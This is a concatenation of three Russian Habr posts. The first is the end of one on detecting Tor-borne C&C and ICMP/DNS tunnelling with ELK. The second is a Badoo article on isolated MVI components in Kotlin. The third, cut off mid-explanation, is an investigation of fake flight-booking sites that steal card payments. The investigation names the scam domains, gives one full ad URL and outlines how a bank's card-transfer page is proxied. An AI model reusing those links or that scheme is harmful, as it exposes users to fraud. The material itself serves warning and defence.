call = subprocess.Popen("curl -XPOST http://localhost:9200/.kibana/search/YOUR_SEARCH_ID/_update?pretty=true -d@query.json",
shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = call.communicate()
print('Result is:\n {}\n'.format(result))
print("Error is: (if there's connection statistics - it's OK!)\n {}".format(error))
```
Скрипт получает список Exit узлов и генерирует на его базе 'query' для Search объекта. Для обновления документа пришлось все же вызвать принадлежащий ОС 'curl', так как Python API при полностью идентичных запросах вызывал у ElasticSearch ошибку сериализации, которую так и не вышло решить. 'curl' в свою очередь использует файл [query.json](https://github.com/dtrizna/my_ELK_scripts/blob/master/TOR_SEARCH/query.json), путь к которому нужно указать в скрипте. Вообщем подправляем код в соответсвии с предписанием README, после чего закидываем скрипт в crontab сервера и получаем динамически обновляемый серч, который можно использовать дальше.
#### Анализируем непосредственно сам трафик
Первое что видно — это, конечно же, множественные сканы. Вас постоянно сканируют из Tor, ну в общем, как и отовсюду. Слушают и на четвертом уровне OSI, и веб-приложения, и все остальное. Поэтому я бы советовал анализировать сетевую информацию, которая собрана не перед файрволом, а после. Во-первых, отметается все, что не прошло внутрь, а во-вторых, будете видеть уже транслированные адреса внутренних узлов.
Второе — что является основным объемом данных, это совершенно валидные запросы к сервисам в вашей сети. Сегодня это нормально анонимизировать свое пользование сетью, по-этому коммуникация из Tor в первую очередь содержит коннекции на самые популярные ваши сервера. Возможно, конечно, у некоторых организаций (которые нужны пользователям больше, чем пользователи им) появиться желание рубить эту коммуникацию на корню. Такие случаи и вправду есть. Я же придерживаюсь мнения, что мы не праве ограничивать эту сферу развития интернет-сообщества, и надо научиться этот трафик понимать.
На обе предыдущие группы особое внимание обращать не надо, учимся распозновать их, и пропускать мимо. Однако, это не все. Корректный анализ может своевременно выявить интересные факты.
Проверяйте трафик на предмет C&C (command & control) уже подвластных злоумышленнику узлов в вашей сети, будь то машина в ботнете или целевая атака.
В принципе обе следующие коммуникации должны быть проанализирована на предмет C&C:
* ICMP пакеты размером больше ping'а по умолчанию;
* DNS коммуникация с тем же симптомом — нестандартно большие пакеты;
Оба сервиса до сих пор активно используются в дикой среде для туннелирования трафика, даже в случае нацеленных Advanced Persistent Threat атак. Одним из ярких примеров в последнее время будет, например, действие группировки Cobalt в случае с атакой на тайваньский First Bank ([ссылка](https://habrahabr.ru/company/group-ib/blog/323996/#comment_10121670)).
Так же советую обращать внимание нестандартные Веб запросы. Тут профильтровать будет посложнее, но я бы посоветовал все же пару зацепок.
Львиная доля все того же C&C в наши дни идет через Веб, так как в том или ином виде этот трафик разрешен в любой организации. По этому интересен в принципе любой TCP 80 и 443, который связан с НЕвеб сервером из вашей сети.
Дополнительно обращайте внимание на запросы, адресованные менее популярным Web серверам. И уж особенно, если есть те, которые построены на базе фреймворков с открытым кодом, особенно, если объем трафика превышает стандартный. Для еще большей прозрачности, можно подводить в тот же ElasticSearch на отдельный индекс логи таких серверов или WAF'а, и в параллельном окне визуализации смотреть, какие HTTP поля и значения содержат непосредственно сами запросы.
#### Анализ данных с помощью ELK
Что бы не быть голословным, попробую показать, каким образом можно оптимизировать подобный анализ данных в ELK стеке. Остановлюсь, например, на попытке быстро идентифицировать попытки ICMP или DNS туннелирования на основе собранных данных.
Любая информация воспринимается лучше в графическом виде, по этому попробуем создать визуализацию ICMP коммуникации превышающую норму по количеству трафика. Норму определяем по наблюдению активного трафика в сети, что бы обычные ICMP операции не всплывали, но вполне могли попасться попытки залить скрипт или передать вывод команды в ICMP пакетах. Я остановился на значениях больше 2KB на поток. Для получения этого трафика из предыдущего сёрча создаем новый, в конце добавляя следующий паттерн:
```
netflow.in_bytes: {2000 TO *} AND netflow.protocol: 1
```
Далее выбираем Visualize > Pie Chart. Как источник данных выбирается только что дополненный Search.
Как параметр для определения угла сектора указываем сумму параметра 'netflow.in\_bytes'.
Указываем, что разделять пирог на секторы следует по IP адресу назначения.
Так как в случае с Tor сетью адрес источника ничего не говорит (одна и та же коммуникация может вестись с несколькими адресами), коннекция идентифицируется по адресу в вашей сети. Но я для удобства идентификации потока создал и второй уровень пирога, где указывается адрес узла в сети Tor.
Хочу отметить один нюанс — под упомянутые параметры Search будет попадать и обычный ping, который велся продолжительное время и собрал количество пакетов в одну сторону 25+.
Можно провести еще одну оптимизацию — мануально в Kibana создать поле, которое будет отображать количество байт на пакет в одном определенном Netflow потоке. Для этого в разделе Scripted Fields создаем единицу, которая на языке painless выполняет следующую задачу:
```
doc['netflow.in_bytes'].value / doc['netflow.in_pkts'].value
```
Добавив это поле в Search, при просмотре информации можно сразу отсеять пакеты стандартного размера. К сожалению отфильтровать потоки по этому полю нельзя, Kibana об этом сообщает при создании поля:
> These scripted fields are computed on the fly from your data. They can be used in visualizations and displayed in your documents, however they can not be searched. You can manage them here and add new ones as you see fit, but be careful, scripts can be tricky!
Однако, в Dashboard можно сбоку от визуализации разместить непосредственно информацию из Search и сопоставлять данные.
Результат получается таким:
Чем шире сектор, тем больше данных получил IP адрес. Так же, в этом примере сразу видно, что все ICMP потоки имеют стандартный размер пакетов.
Аналогичный анализ подходит и для DNS коммуникации, где я остановился на потоках больше 1KB. Подправляем Search, дополненный следующим запросом и проводим те же манипуляции:
```
netflow.in_bytes: {1000 TO *} AND netflow.protocol: 17 AND ( netflow.l4_dst_port: 53 OR netflow.l4_src_port: 53 )
```
Скорее всего в предложенные мной примеры могут попадать специфичные узлы в вашей сети — мониторинг или DNS сервера, их конечно же фильтруем прочь. В итоге имеем наглядную картину, которая отображает девиации актуальных сервисов. Вообще, такой анализ этих сервисов нужно проводить не только трафику, который идет из Tor, по этому этот подход можно применить вообще всей информации, полученной ElasticSearch.
#### В заключение
Конечно же, список возможного анализа этой информации не претендует на полноту. Это просто поверхностный пример, который желательно дальше развить. Пожалуйста, если читатель может описать методы анализа такой информации — поделитесь, мне и сообществу будет интересно.
Так же, скорее всего, любой из этих советов может быть разбит (в плане полезности) аргументами, которая мне не приходит на ум. В таком случае я очень хотел бы услышать эти доводы.
Конечно, всего этого вы не увидете, если потенциальный желающий анонимизировать своё поведение злоумышленник использует свзяку VPN — Tor — VPN или более мудреные махинации. Поэтому похожими методами лучше анализировать вообще весь трафик вашей инфраструктуры. Но и просмотр этой информации уже является очень интересным.
Спасибо за чтение! Надеюсь, было интересно/полезно.
P.S. Ответственно доработаю статью в соответствии с поправками читателя. Просьба заметки о качестве текста давать в личной почте, комментарии же оставить для обсуждения непосредственно темы статьи. | https://habr.com/ru/post/327048/ | null | ru | null |
# Дзен изолированных компонентов в Android-архитектуре
Несколько лет назад мы в Badoo начали использовать MVI-подход к Android-разработке. Он был призван упростить сложную кодовую базу и избежать проблемы некорректных состояний: в простых сценариях это легко, но чем сложнее система, тем сложнее поддерживать её в корректном виде и тем проще пропустить баг.
В Badoo все приложения асинхронны — не только из-за обширного функционала, доступного пользователю через UI, но и из-за возможности односторонней отправки данных сервером. При использовании старого подхода в нашем чат-модуле нам попалось несколько странных трудновоспроизводимых багов, на устранение которых пришлось потратить довольно много времени.
Наш коллега Zsolt Kocsi ([Medium](https://medium.com/@zsolt.kocsi), [Twitter](https://twitter.com/ZsoltKocsi)) из лондонского офиса рассказал, каким образом с помощью MVI мы строим независимые компоненты, которые легко переиспользовать, какие преимущества мы получаем и с какими недостатками нам пришлось столкнуться при использовании этого подхода.
Это третья статья из серии публикаций об Android-архитектуре Badoo. Ссылки на первые две:
1. [Современная MVI-архитектура на базе Kotlin](https://habr.com/ru/company/badoo/blog/429728/).
2. [Строим систему реактивных компонентов с помощью Kotlin](https://habr.com/ru/company/badoo/blog/430550/).
Нe останавливайтесь на слабой связности компонентов
---------------------------------------------------
Считается, что слабая связность лучше, чем сильная. Если вы полагаетесь только на интерфейсы, а не на конкретные реализации, то вам будет проще заменять компоненты, проще переключаться на другие реализации, не переписывая большую часть кода, что упрощает в том числе и модульное тестирование.
На этом мы обычно заканчиваем и говорим, что сделали всё возможное с точки зрения связности.
Однако этот подход неоптимален. Допустим, у вас есть класс А, которому нужно использовать возможности трёх других классов: B, C и D. Даже если ссылаться на них через интерфейсы, класс A становится тяжелее с каждым из этих классов:
* он знает все методы во всех интерфейсах, их имена и возвращаемые типы, даже если не использует их;
* при тестировании А нужно настраивать больше моков ([mock object](https://en.wikipedia.org/wiki/Mock_object));
* сложнее многократно использовать А в других контекстах, в которых мы не имеем или не хотим иметь B, C и D.
Конечно, именно класс А должен определять минимально необходимый для него набор интерфейсов (interface segregation principle из [SOLID](https://en.wikipedia.org/wiki/SOLID)). Однако на практике нам всем приходилось сталкиваться с ситуациями, когда ради удобства применялся иной подход: брали существующий класс, реализующий некую функциональность, извлекали в интерфейс все его публичные методы, а затем использовали этот интерфейс там, где нужен был упомянутый класс. То есть интерфейс использовался не исходя из того, что этому компоненту требуется, а исходя из того, что другой компонент может предложить.
При таком подходе со временем ситуация усугубляется. Каждый раз, когда мы добавляем новую функциональность, наши классы увязают в паутине новых интерфейсов, о которых им нужно знать. Классы увеличиваются в размерах, а тестировать становится всё труднее.
В итоге, когда потребуется использовать их в другом контексте, переместить их без всего этого клубка, с которым они связаны, пусть и через интерфейсы, будет практически невозможно. Можно провести аналогию: вы хотите использовать банан, а он в руках обезьяны, которая висит на дереве, так что в результате в нагрузку к банану вам достанется целый кусок джунглей. Словом, процесс переноса занимает кучу времени, и вскоре вы начинаете спрашивать себя, почему на практике так сложно переиспользовать код.
Компоненты в виде чёрных ящиков
-------------------------------
Если мы хотим, чтобы компонент можно было легко и многократно использовать, то для этого нам не нужно знать о двух вещах:
* о том, где ещё он используется;
* о других компонентах, которые не относятся к его внутренней реализации.
Причина понятна: если не знать о внешнем мире, то не будешь с ним связан.
Что мы действительно хотим от компонента:
* определить его собственные входные (input) и выходные (output) данные;
* не думать о том, откуда эти данные приходят и куда уходят;
* он должен быть самодостаточным, чтобы нам не нужно было знать внутреннее устройство компонента для его использования.
Можно считать компонент чёрным ящиком, или интегрированной микросхемой. У неё есть входные и выходные контакты. Ты их припаиваешь — и микросхема становится частью системы, о которой она ничего не знает.
До сих пор подразумевалось, что мы говорим о двунаправленных потоках данных: если классу А что-то нужно, он через интерфейс B извлекает метод и получает результат в виде возвращаемого функцией значения.
Но тогда А знает о B, а мы хотим этого избежать.
Конечно, такая схема имеет смысл для низкоуровневых особенностей реализации. Но если нам нужен многократно используемый компонент, который работает как самодостаточный чёрный ящик, то нужно удостовериться, что он ничего не знает о внешних интерфейсах, именах методов или возвращаемых значениях.
Переходим к однонаправленности
------------------------------
Но без имён интерфейсов и методов мы ничего не сможем вызвать! Остаётся лишь использовать однонаправленный поток данных, при котором мы просто получаем input и генерируем output:
Поначалу это может выглядеть ограничением, но у такого решения много преимуществ, о которых речь пойдёт ниже.
Из [первой статьи](https://badootech.badoo.com/a-modern-kotlin-based-mvi-architecture-9924e08efab1) мы знаем, что фичи (Feature) определяют собственные входные данные (Wish) и собственные выходные данные (State). Поэтому для них не имеет значения, откуда берется Wish и куда уходит State.
Именно это нам и нужно! Фичи можно использовать везде, где вы можете подавать им входные данные, а с выходными данными вы можете делать всё, что заблагорассудится. И поскольку фичи не общаются напрямую с другими компонентами, они являются самодостаточными и несвязанными модулями.
Теперь возьмём View и спроектируем его так, чтобы оно тоже было самодостаточным модулем.
Во-первых, View должно быть настолько простым, насколько это возможно, чтобы оно могло обрабатывать только свои внутренние задачи.
Что за задачи? Их две:
* отрисовка ViewModel (input);
* инициирование ViewEvents в зависимости от действий пользователя (output).
Зачем использовать ViewModel? Почему бы напрямую не отрисовать состояние (State) фичи?
* (Не)отображение на экране той или иной фичи не является деталью реализации. View должно уметь отрисовывать себя, если данные поступают из нескольких источников.
* Не нужно отражать во View сложности состояния. ViewModel должна содержать только готовую к показу информацию, которая нужна, чтобы оно оставалось простым.
Также View не должно интересовать следующее:
* откуда берутся все эти ViewModels;
* что происходит при инициировании ViewEvent;
* любая бизнес-логика;
* аналитическое отслеживание;
* журналирование;
* прочие задачи.
Всё это внешние задачи, и View не должно быть с ними связано. Давайте остановимся и подытожим простоту View:
```
interface FooView : Consumer, ObservableSource {
data class ViewModel(
val title: String,
val bgColor: Int
)
sealed class Event {
object ButtonClicked : Event()
data class TextFocusChanged(val hasFocus: Boolean) : Event()
}
}
```
Реализация под Android должна:
1. Находить Android views по их ID.
2. Реализовывать принимающий метод (accept method) принимающего интерфейса (consumer interface) посредством настройки значения из ViewModel.
3. Устанавливать слушателей (ClickListeners), чтобы взаимодействие с UI сгенерировало определённые события.
Пример:
```
class FooViewImpl @JvmOverloads constructor(
context: Context,
attrs: AttributeSet? = null,
defStyle: Int = 0,
private val events: PublishRelay = PublishRelay.create()
) : LinearLayout(context, attrs, defStyle),
FooView,
// delegate implementing ObservableSource to our Relay
ObservableSource by events {
// 1. find the views
private val title: TextView by lazy { findViewById(R.id.title)}
private val panel: ViewGroup by lazy { findViewById(R.id.panel)}
private val button: Button by lazy { findViewById(R.id.button)}
private val editText: EditText by lazy { findViewById(R.id.editText)}
// 2. set listeners to trigger Events
override fun onFinishInflate() {
super.onFinishInflate()
button.setOnClickListener { events.accept(Event.ButtonClicked) }
editText.setOnFocusChangeListener { \_, hasFocus -> events.accept(Event.TextFocusChanged(hasFocus)) }
}
// 3. render the ViewModel
override fun accept(vm: ViewModel) {
title.text = vm.title
panel.setBackgroundColor(ContextCompat.getColor(context, vm.bgColor))
}
}
```
Если не ограничиваться Feature и View, то вот как будет выглядеть любой другой компонент при таком подходе:
```
interface GenericBlackBoxComponent : Consumer, ObservableSource {
sealed class Input
sealed class Output
}
```
Теперь с паттерном всё понятно!
Соединяй, соединяй, соединяй!
-----------------------------
А что делать, если у нас есть разные компоненты и у каждого из них свои входные и выходные данные? Мы соединим их!
К счастью, это можно легко сделать с помощью Binder, который ещё и помогает создавать правильные области видимости, как мы знаем из [второй статьи](https://badootech.badoo.com/building-a-system-of-reactive-components-with-kotlin-ff56981e92cf):
```
// will automatically dispose of the created rx subscriptions when the lifecycle ends:
val binder = Binder(lifecycle)
// connect some observable sources to some consumers with element transformation:
binder.bind(outputA to inputB using transformer1)
binder.bind(outputB to inputA using transformer2)
```
Первое преимущество: легко расширять без модификаций
----------------------------------------------------
Использование несвязанных компонентов в виде чёрных ящиков, которые подсоединены лишь временно, позволяет нам добавлять новую функциональность, не модифицируя существующие компоненты.
Возьмём простой пример:
Здесь просто соединённые друг с другом фича (F) и View (V).
Соответствующие привязки (bindings) будут такими:
```
bind(feature to view using stateToViewModelTransformer)
bind(view to feature using uiEventToWishTransformer)
```
Допустим, мы хотим добавить в эту систему отслеживание каких-то UI-событий.
```
internal object AnalyticsTracker : Consumer {
sealed class Event {
object ProfileImageClicked: Event()
object EditButtonClicked : Event()
}
override fun accept(event: AnalyticsTracker.Event) {
// TODO Implement actual tracking
}
}
```
Хорошая новость заключается в том, что мы можем это сделать, просто заново используя существующий выходной канал представления:
В коде это выглядит так:
```
bind(feature to view using stateToViewModelTransformer)
bind(view to feature using uiEventToWishTransformer)
// +1 line, nothing else changed:
bind(view to analyticsTracker using uiEventToAnalyticsEventTransformer)
```
Новую функциональность можно добавить всего одной строкой дополнительной привязки. Теперь нам не только можно не менять ни строки кода View, но оно даже не знает о том, что выходные данные используются для решения новой задачи.
Очевидно, что теперь нам проще избежать дополнительных забот и излишнего усложнения компонентов. Они остаются простыми. Добавлять в систему функциональность можно, всего лишь подключая компоненты к уже существующим.
Второе преимущество: легко использовать многократно
---------------------------------------------------
На примере Feature и View хорошо видно, что мы можем всего лишь одной строкой с привязкой добавить новый источник входных данных или потребитель выходных данных. Это заметно облегчает многократное использование компонентов в разных частях приложения.
Однако этот подход не ограничивается классами. Такой способ применения интерфейсов позволяет описывать самодостаточные реактивные компоненты любого размера.
Ограничивая себя определёнными входными и выходными данными, мы избавляемся от необходимости знать, как всё устроено под капотом, и поэтому легко избегаем случайного связывания внутренностей компонентов с другими частям системы. А без связывания можно легко и просто использовать компоненты многократно.
Мы ещё вернёмся к этому в одной из следующих статей и рассмотрим примеры использования этой методики для соединения более высокоуровневых компонентов.
Первый вопрос: куда класть привязки?
------------------------------------
1. Выберите уровень абстракции. В зависимости от архитектуры это может быть Activity, фрагмент или какой-нибудь ViewController. Надеюсь, у вас ещё остался какой-то уровень абстракции в тех частях, где нет UI. Например, в какой-нибудь из областей видимости контекстного дерева DI.
2. Создайте для привязки отдельный класс на том же уровне, что и эта часть UI. Если это FooActivity, FooFragment или FooViewController, то вы можете положить FooBindings рядом с ним.
3. Убедитесь, что вы внедряете FooBindings в те же инстансы компонентов, которые вы используете в Activity, фрагменте и т. д.
4. Для формирования области видимости привязок используйте жизненный цикл Activity или фрагмента. Если этот цикл не привязан к Android, то вы можете создавать триггеры вручную, например при создании или уничтожении DI-скоупа. Другие примеры областей видимости описаны во [второй статье](https://badootech.badoo.com/building-a-system-of-reactive-components-with-kotlin-ff56981e92cf).
### Второй вопрос: тестирование
Поскольку наш компонент ничего не знает о других, то обычно нам не требуются вместо них заглушки. Тесты упрощаются до проверки правильности реакции компонента на входные данные и выдачи ожидаемых результатов.
В случае с Feature это означает:
* возможность тестировать, генерируют ли определённые входные данные ожидаемое состояние (выходные данные).
А в случае с View:
* мы можем тестировать, приводит ли определённая ViewModel (входные данные) к ожидаемому состоянию UI;
* мы можем тестировать, приводит ли симуляция взаимодействия с UI к инициализации в ожидаемом ViewEvent (выходные данные).
Конечно, взаимодействия между компонентами не исчезают волшебным образом. Мы лишь извлекли эти задачи из самих компонентов. Их по-прежнему нужно тестировать. Но где?
В нашем случае за соединение компонентов отвечают Binders:
```
// this is wherever you put your bindings, depending on your architecture
class BindingEnvironment(
private val component1: Component1,
private val component2: Component2
) {
fun createBindings(lifecycle: Lifecycle) {
val binder = Binder(lifecycle)
binder.bind(component1 to component2 using Transformer())
}
}
```
Наши тесты должны подтверждать следующее:
1. Трансформеры (мапперы).
У некоторых соединений есть мапперы, и нужно удостовериться, что они корректно преобразуют элементы. В большинстве случаев для этого достаточно очень простого модульного теста, поскольку мапперы обычно также очень просты:
```
@Test
fun testCase1() {
val transformer = Transformer()
val testInput = TODO()
val actualOutput = transformer.invoke(testInput)
val expectedOutput = TODO()
assertEquals(expectedOutput, actualOutput)
}
```
2. Связи.
Нужно удостовериться, что связи настроены правильно. Какой смысл в работе отдельных компонентов и мапперов, если по какой-то причине связь между ними не была установлена? Всё это можно протестировать, настроив среду привязки с заглушками, источниками инициализации и проверкой получения ожидаемых результатов на клиентской стороне:
```
class BindingEnvironmentTest {
lateinit var component1: ObservableSource
lateinit var component2: Consumer
lateinit var bindings: BindingEnvironment
@Before
fun setUp() {
val component1 = PublishRelay.create()
val component2 = mock()
val bindings = BindingEnvironment(component1, component2)
}
@Test
fun testBindings() {
val simulatedOutputOnLeftSide = TODO()
val expectedInputOnRightSide = TODO()
component1.accept(simulatedOutputOnLeftSide)
verify(component2).accept(expectedInputOnRightSide)
}
}
```
И хотя для тестирования придётся написать примерно такое же количество кода, как и при других подходах, однако самодостаточные компоненты облегчают тестирование отдельных частей, поскольку задачи явно разделены.
Пища для размышления
--------------------
Хотя описание нашей системы в виде графа из чёрных ящиков хорошо для общего понимания, это работает лишь до тех пор, пока размер системы относительно мал.
Пять-восемь строк привязок — это приемлемо. Но, связав больше, понять, что происходит, будет довольно сложно:
Мы столкнулись с тем, что при увеличении количества связей (их было ещё больше, чем в представленном фрагменте кода) ситуация становилась ещё более сложной. Причина была не только в количестве строк — какие-то привязки можно группировать и извлекать их для разных методов, — но и в том, что становилось всё труднее удерживать в поле зрения всё происходящее. А это всегда плохой знак. Если на одном уровне расположены десятки разных компонентов, то невозможно представить все возможные взаимодействия.
Причина кроется в использовании компонентов — чёрных ящиков или в чём-то другом?
Очевидно, что если описываемая вами область видимости изначально сложна, то никакой подход не спасёт вас от упомянутой проблемы, пока вы не разделите систему на более мелкие части. Она будет сложна даже без огромного списка привязок, просто это будет не так очевидно. Кроме того, гораздо лучше, если сложность выражена явно, а не скрыта. Лучше видеть растущий список однострочных соединений, который напоминает о том, сколько у вас отдельных компонентов, чем не знать об этих связях, скрытых внутри классов в разных вызовах методов.
Поскольку сами по себе компоненты просты (это чёрные ящики и в них не протекают дополнительные процессы), их проще разделить, а значит, это шаг в верном направлении. Мы перенесли сложность в одно место — в список привязок, один взгляд на который позволяет оценить общую ситуацию и начать размышлять над тем, как выбраться из этого бардака.
Поиск решения занял у нас немало времени, и он всё ещё продолжается. О том, как справиться с этой проблемой, мы планируем рассказать в следующих статьях. Оставайтесь на связи! | https://habr.com/ru/post/463781/ | null | ru | null |
# Дешевые авиабилеты… Или сеть мошеннических сайтов, ворующих деньги с карт. Мое расследование
В этой публикации речь пойдет о целой сети мошеннических сайтов, которые на протяжении долгого времени работают с единственной целью — похитить данные банковских карт и увести все доступные денежные средства с этих карт. В этой схеме используются на разных этапах сервисы известных компаний и банков. Таких как Яндекс (Поиск, Директ, YandexMoney, Карты), Промсвязьбанк, Банк Тинькофф и, вероятно, других.
История эта началась совсем недавно. Всего пять дней назад и, можно сказать, что пока еще не закончилась. Один мой знакомый обратился ко мне за консультацией с вопросом, можно ли как-нибудь закрыть «нехороший сайт»…
Итак, что же случилось?
Мой знакомый захотел купить авиабилеты и решил, что самый простой для этого способ — задать вопрос Яндексу. На простой запрос типа «самые дешевые билеты в Анапу» Яндекс одну из первых ссылок выдал на некий сайт, который служит для поиска и покупки дешевых билетов без комиссии. Ссылка эта, вероятно, была в верхнем рекламном блоке. Перейдя по ссылке, мой знакомый нашел себе подходящие билеты, оформил заказ, и попал на страницу оплаты с помощью банковской карты…
Сайт этот для среднего человека, если не вдаваться в детали, может оказаться совершенно обычным сайтом по поиску билетов и не вызвать подозрений. Домен \_aviapromo.eu\_
Вот так выглядит главная страница. Скриншот сохранился только с телефона.
Это поиск билетов:
Заказ оформлен:
Это страница оплаты:
*На картинках мой пробный заказ, который я делал, чтобы разобраться, как работает этот сайт.*
Мой знакомый оплатил билеты. При оплате по смс приходили коды подтверждения 3d Secure, которые, как это бывает обычно, нужно было вводить в браузере на соответствующей странице. Получив на почту «маршрутные квитанции» и считая, что билеты куплены, мой знакомый пошел заниматься своими делами.
На следующий день на телефон стали приходить «непонятные смс». Сначала пришла смс на списание с суммой в 2 рубля, и в ту же минуту эти 2 рубля вернули на карту с примечанием «отмена покупки». Еще через 2 часа непонятное списание и возврат 2 рублей повторились. **И еще через минуту началось что-то невероятное. С карты списали 17700руб. Еще через 10 минут списали дополнительно 17700руб. Еще через 10 минут пытались списать 11800руб**. Последняя операция не прошла только из-за того, что на карте кончились деньги. Я думаю, что если бы на карте был бы больший остаток, то списания бы продолжались каждые 10 минут до тех пор, пока не пришел бы отказ. История описываемых операций хорошо видна на заглавной фотографии — это скриншот смс'ок от Сбербанка, приходящих на телефон.
В момент первой «непонятной смс про 2 рубля», хоть это и показалось подозрительным, карта не была заблокирована. Все последующие списания были выполнены в течение 20-30 минут. Мой знакомый в это время был в общественном транспорте. Пытался дозвониться в Сбербанк для блокировки карты. Но как это обычно бывает, банк предлагал понажимать кнопочки в голосовом меню, а затем подождать в очереди. Быстро заблокировать карту через кол-центр банка не получилось. А приложение на смартфоне, через которое тоже можно было бы заблокировать карту, не было установлено. Карту потом заблокировали, но было уже поздно — деньги утекли. На следующий день мой знакомый написал заявление в сбербанк. На данный момент заявление находится на стадии рассмотрения. Карту перевыпустили.
**Еще через два дня, уже когда карта была заблокирована, была попытка списать с карты 11800р, а еще через день новая попытка списать еще 23600руб**. Т.е. это еще раз подтверждает, что тормозов у мошенников не было.
**И на десерт, ко всем этим неожиданным списания, выяснилось, что никакой брони в авиакомпании нет и не было. Т.е. авиабилеты не были забронированы. Все было обманом и деньги ушли в неизвестном направлении.**
**В результате с карты украли (потери за оплаченные билеты и последующие списания) в общей сумме составили 47 377рублей. А могло бы быть гораздо больше.**
Теперь попробуем разобраться, что же на самом деле произошло и где можно было обнаружить подвох.
1. Домен в зоне EU должен был по крайней мере насторожить.
2. Кроме поиска авиабилетов на сайте было всего несколько страниц, цель которых пустить пыль в глаза.
3. Если копнуть глубже, то указанный на странице ОГРН компании принадлежал компании, которая была закрыта в 2011 году. А само название компании в выписке ЕГРЮЛ и на сайте не совпадает, на сайте частично изменено. Проверить данные по ОГРН, ИНН и названию юридических лиц можно в базе налоговой инспекции egrul.nalog.ru.
4. Рейтинги сайта ТиЦ и PR нулевые (это видно в тех редких случаев, когда в браузере установлена панель вебмастера или что-то похожее).
5. Основное, что должно было насторожить. Должна была быть оплата без комиссии, как указано на сайте, 5900 за каждый авиабилет, а в смс от банка пришло назначение «Списание 5900.00 P2P PSBANK», а после оплаты этих 5900, приходила смс о том, что списано 5988,50р. Что такое «P2P» конечно знают не все. Можно было бы поискать. «P2P» — это сервис перевода с карты на карту. А сумма списания больше, чем сумма платежа, потому что банк, через который производился платеж, берет за это комиссию. **Т.е. реально деньги, которые якобы оплачивались за авиабилеты, переводились на чью-то банковскую карту через сервис PSBANKa (Промсвязьбанк).** При этом покупателю банк присылал проверочный код 3D Secure, который покупатель, ничего не подозревая, вводил в браузере.
6. Если с переводом на карту для меня понятно, что владельца карты ввели в заблуждение, чтобы он сам ввел код 3D Secure, то с последующими списаниями без проверки 3D Secure, для меня ситуация не совсем понятна. **Я ни разу не сталкивался с ситуацией, чтобы Сбербанк в интернете позволял что-то оплатить без проверки 3D Secure (без подтверждения через SMS).** Единственный исключение, когда смс не запрашивается, — это когда операции производятся через мобильное приложение СбербанкОнлайн на телефоне. Но телефон похищен не был и данные от личного кабинета похищены не были. Очевидно, что были получены только данные банковской карты моего знакомого. И, имея только данные карты, деньги списывались при использовании сервиса YM (Yandex.Money) в пользу Yandex.Direct (рекламная сеть Яндекса). **Здесь есть явно какая-то недоработка в системе безопасности и возникает вопрос либо к Сбербанку, либо к Яндексу, как они такое позволяют делать.**
В результате складывается примерно такая картина работы мошеннического сайта:
Сайт через рекламу в Яндекс.Директ привлекает посетителей. Без рекламы таким сайтам выбраться в топ выдачи практически нереально. Выглядит сайт в чем-то похожим на нормальные сайты. Поиск рейсов и свободных мест работает отлично. Для этого сайт принимает запрос посетителя, просит его подождать, сам отправляет запрос на какой-то другой сайт, на котором есть реальные данные по авиабилетам, из полученного ответа вырезается лишнее и подготовленная информация выдается на своей странице. Вполне возможно, что и цены немного корректируются (цены я не проверял). Дальше посетитель оформляет заказ, вводя свои данные. Ввод данных выглядит также, как и на многих других сайтах по продаже билетов. После ввода данных и подтверждения заказа, покупателю сообщают код заказа и дают 24 часа на оплату. При оплате оригинальная страница одного из банков с сервисом перевода P2P переделывается определенным образом (об этом ниже) и встраивается на мошеннический сайт. «Покупатель» авиабилетов, если не заметит подвох, переводит деньги на какую-то чужую банковскую карту. При этом данные банковской карты «покупателя» перехватываются и в дальнейшем используются для списаний — при этом пополняется счет какого-то аккаунта в Яндекс.Директ для последующей рекламы и поиска новых жертв. Дальше все тоже самое по кругу.
После всей этой истории было написано заявление в полицию (на рассмотрении), в сбербанк (на рассмотрении), в Яндекс, хостинг-провайдеру и др.
Мошеннический сайт размещался на хостинге FirstVDS. По моему заявлению с подробным описанием аккаунт мошеннического сайта заблокировали. Правда, через полдня опять разблокировали. Но по повторному заявлению опять заблокировали (надеюсь, уже навсегда), сославшись на то, что разные отделы провайдера не разобрались. Конечно, это не полная блокировка — мошенники могут поменять хостинг.
Одержав хоть маленькую и временную, но победу с закрытием сайта, нужно было решать вопрос с авиабилетами. И какого же было удивление, когда по аналогичному поисковому запросу Яндекс на первой строчке рекламного блока выдал другой сайт, который имел слегка измененный дизайн, но имел практически тот же функционал и похожий движок. Его цель — обман посетителей, кража денег и данных кредитных карт. **Т.е. после того, как один сайт задушен, тут же появляется новый сайт (точнее он и раньше работал, просто в рекламе поднимаются не все сразу).** Адрес другого сайта, по «якобы продаже авиабилетов» — \_avia-scanners.ru\_. Если представители Яндекса захотят проверить, то вот полная ссылка из Яндекс.Директа (в которой есть идентификатор рекламодателя.
`_http://avia-scanners.ru/?utm_source=yandex&utm_medium=cpc&utm_campaign=21628812&utm_content=2877643372&utm_term=%D0%B0%D0%B2%D0%B8%D0%B0%D0%B1%D0%B8%D0%BB%D0%B5%D1%82%D1%8B%20%D0%BF%D0%BE%20%D1%80%D0%BE%D1%81%D1%81%D0%B8%D0%B8%20%D0%B4%D0%B5%D1%88%D0%B5%D0%B2%D0%BE`
То, что этот сайт мошеннический, видно сразу, даже не вникая в технические детали, — указанный ИНН не существует, указанный ОГРН не существует, указанное юридическое название — не существует, указанный почтовый адрес — не существует итп. ИНН вообще указан двенадцатизначный, что бывает только у ИП и физ.лиц.
На заглавной странице картинки, которые должны вести на страницы скачивания мобильных приложений (в AppStore, Google Play и магазине для Windows Phone). Но все эти картинки не содержат ссылок на мобильные приложения.
В этот раз было решено более детально разобрать, как же этот сайт вводит пользователей в заблуждение на странице оплаты. Технология оказалась несложная.
Это внешний вид страницы оплаты на сайте «поиска авиабилетов».
Посмотрим исходный код страницы. Видим подозрительные папки "...P2P..." с различными скриптами. В этих скриптах я не нашел ничего интересного, что могло бы быть связано с похищением средств. В основном там были скорее всего не модифицированные скрипты банка, про который речь пойдет ниже.
А вот канонический адрес страницы нам интересен. Мы здесь видим, что фактически страница сервиса банка Тинькова (\_www.tinkoff.ru/cardtocard/\_) почти полностью включена в мошеннический сайт. Причем здесь используется не окно iframe. Здесь именно при использовании промежуточной обработки на сервере хостинг-провайдера страница скачивается с сайта Тинькова, потом на сервере модифицируется и почти полностью с небольшими «бонусами» выкладывается.
